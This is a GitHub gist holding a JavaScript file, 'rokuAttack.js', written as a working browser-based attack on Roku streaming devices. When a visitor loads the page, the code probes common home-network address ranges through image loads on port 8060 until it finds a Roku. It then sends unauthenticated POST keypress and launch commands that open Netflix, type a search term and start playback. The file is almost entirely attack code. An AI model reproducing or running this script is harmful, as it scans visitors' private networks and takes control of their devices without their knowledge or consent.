Created
May 11, 2011 03:05
-
-
Save gtzilla/965849 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// rokuAttack.js | |
// 7codes | |
// | |
// Created by gregory tomlinson on 2011-05-08. | |
// Copyright 2011 the public domain. All rights reserved. | |
// | |
/* | |
Dependency | |
CallerQueue (included atm) | |
*/ | |
(function(window, undefined) { | |
var image_explorers=[], frame_id="discover_device_frame", | |
local_network_types = [{ | |
name : "linksys/apple", | |
start : "http://192.168.1.", | |
end : ":8060", | |
range : [2,199] | |
},{ | |
name : "netgear/dlink", | |
start : "http://192.168.0.", | |
end : ":8060", | |
range : [2,199] | |
},{ | |
name : "belkin", | |
start : "http://192.168.2.", | |
end : ":8060", | |
range : [2,100] | |
},{ | |
name : "belkin", | |
start : "http://10.0.1.", | |
end : ":8060", | |
range : [2,100] | |
}], | |
types_pos=0, | |
discover_interval=null; | |
function CallerQueue() { | |
var lst=[], pos=-1; | |
function call_method( item ) { | |
var token = item.method.apply(item, item.args ); | |
if(token && token.done) { | |
token.done(function() { | |
run(); | |
}); | |
} else { | |
run(); | |
} | |
} | |
function run() { | |
pos+=1; | |
if(pos >= lst.length) { | |
return; | |
} | |
if(lst[pos].timeout) { | |
setTimeout( function() { | |
call_method( lst[pos] ); | |
}, lst[pos].timeout); | |
} else { | |
call_method( lst[pos] ); | |
} | |
} | |
this.append=function( method, args, timer_ms ) { | |
lst.push({ | |
"method" : method, | |
"timeout" : timer_ms, | |
"args" : args | |
}); | |
} | |
this.execute=function() { | |
run(); | |
} | |
} | |
window.rokuAttack = { | |
host_addr : null, | |
target_term : null, | |
attack : function( term ) { | |
rokuAttack.target_term=term; | |
setTimeout(function() { | |
rokuAttack.init( rokuAttack._basic_attack ); | |
}, 200) | |
// rokuAttack.basic_attack | |
}, | |
init : function( callback ) { | |
// todo, use deferred | |
var host = window.localStorage.getItem("host_addr"); | |
types_pos=JSON.parse( window.localStorage.getItem("types_pos") ) || types_pos; | |
types_pos=Math.min(types_pos,local_network_types.length-1); | |
if(!host) { | |
// put in an iframe and dothis?? yes... | |
rokuAttack.find_ip( function() { | |
// spawn a window for this, a popunder.. maybe just open a new tab? | |
// how about a worker? | |
try { | |
window.localStorage.setItem("host_addr", rokuAttack.host_addr); | |
window.localStorage.setItem("types_pos", 0 ); | |
window.localStorage.removeItem("types_pos"); | |
document.location.reload(); // clear out the image requests | |
callback( rokuAttack.host_addr ); | |
} catch(e) { | |
callback( rokuAttack.host_addr ); | |
} | |
}); | |
} else { | |
rokuAttack.host_addr=host; | |
// test to make sure the ipaddrss is still good. | |
callback( rokuAttack.host_addr ); | |
} | |
}, | |
// todo, need some sequential chaining... maybe the jquery deferred | |
_basic_attack : function( host_addr ) { | |
var queue = new CallerQueue(); | |
queue.append( rokuAttack.display_photo, [], 0); | |
queue.append( rokuAttack.press_home, [], 0 ); | |
queue.append( rokuAttack.press_launch, [], 0 ); | |
queue.append( rokuAttack.press_down, ["Search"], 15000 ); | |
queue.append( rokuAttack.type_word, [ rokuAttack.target_term || "Robo"], 5000 ); | |
queue.append( rokuAttack.press_key, ["Play"], 2000 ); | |
queue.append( rokuAttack.press_key, ["Select"], 5000 ); | |
queue.append( rokuAttack.press_key, ["Select"], 4000 ); | |
queue.execute(); | |
}, | |
type_word : function( word_str ) { | |
// provide about a half second deply between pressing buttons | |
var typing=true, pos=0, track_word=decodeURIComponent(word_str), | |
timer_interval=null, dfr = $.Deferred(); | |
timer_interval=setInterval(function() { | |
if(pos < track_word.length) { | |
rokuAttack.press_letter( encodeURIComponent( track_word[pos] ) ); | |
} else { | |
if(timer_interval) { | |
clearInterval(timer_interval); | |
dfr.resolve(); | |
} | |
} | |
pos++; | |
}, 900); | |
return dfr.promise(); | |
}, | |
display_photo : function() { | |
var frag= [{ | |
type : "img", | |
attrs : { | |
src : rokuAttack.host_addr + "/query/icon/12" | |
} | |
},{ | |
content : "Pressed the home button for ya. Just to say hello" | |
}] | |
$("#middle").append(fastFrag.create(frag) ); | |
}, | |
command : function( cmnd ) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + cmnd, | |
type : "POST", | |
complete : dfr.resolve, | |
}); | |
return dfr.promise(); | |
}, | |
press_home : function() { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keypress/Home", | |
type : "POST", | |
complete : dfr.resolve, | |
}); | |
return dfr.promise(); | |
}, | |
press_info : function( callback ) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keypress/Info", | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
press_key : function(keyname ) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keypress/" + keyname, | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
press_down : function(keyname ) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keydown/" + keyname, | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
press_up : function(keyname ) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keyup/" + keyname, | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
press_letter : function(letter) { | |
var dfr = $.Deferred(); | |
$.ajax({ | |
url : rokuAttack.host_addr + "/keypress/Lit_" + letter, | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
press_launch : function() { | |
var dfr = $.Deferred(), | |
host_url= rokuAttack.host_addr + "/launch/12"; | |
$.ajax({ | |
url : host_url, | |
type : "POST", | |
complete : dfr.resolve | |
}); | |
return dfr.promise(); | |
}, | |
launch_app : function( callback ) { | |
/* | |
/launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4" | |
"&streamformat=mp4 | |
*/ | |
var host_url= rokuAttack.host_addr + "/launch/dev?url=http%3A%2F%2Fvideo.ted.com%2Ftalks%2Fpodcast%2FVilayanurRamachandran_2007_480.mp4&streamformat=mp4" | |
$.ajax({ | |
url : host_url, | |
type : "POST", | |
complete : (callback || function() {}), | |
}); | |
}, | |
find_ip : function( callback ) { | |
// less then elegant, spider for the image. | |
rokuAttack.__image_find(function( host_addr ) { | |
console.log("found an address", host_addr) | |
rokuAttack.host_addr=host_addr; | |
clearInterval(rokuAttack.discover_interval); | |
callback( rokuAttack.host_addr ); | |
}); | |
rokuAttack.discover_interval=setTimeout(rokuAttack.check_ip_discovery, 10000); | |
}, | |
check_ip_discovery : function() { | |
if(!rokuAttack.host_addr) { | |
window.localStorage.setItem("types_pos", types_pos+=1); | |
document.location.reload(); | |
} | |
}, | |
__image_find : function( callback ) { | |
var types=local_network_types[types_pos]; | |
types.range[0] | |
types.range[1] | |
for(var i=types.range[1]; i>=types.range[0]; i--) { | |
var img = new Image(); | |
img.onload=(function(info_type, pos) { | |
return function() { | |
rokuAttack.host_addr=info_type.start + pos + info_type.end; | |
console.log("found", rokuAttack.host_addr); | |
callback( rokuAttack.host_addr ); | |
} | |
})(types, i); | |
img.src=types.start + i + types.end + "/query/icon/12"; // the netflix icon | |
} | |
}, | |
__build_frame : function( frame_source, callback ) { | |
var iframe = document.createElement("iframe"); | |
iframe.id="discover_device_frame"; | |
iframe.onload=callback; | |
iframe.width="1px"; | |
iframe.height="1px"; | |
iframe.setAttribute("frameborder", 0); | |
iframe.src=frame_source; | |
document.body.appendChild(iframe ); | |
return iframe; | |
}, | |
} | |
})(window); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment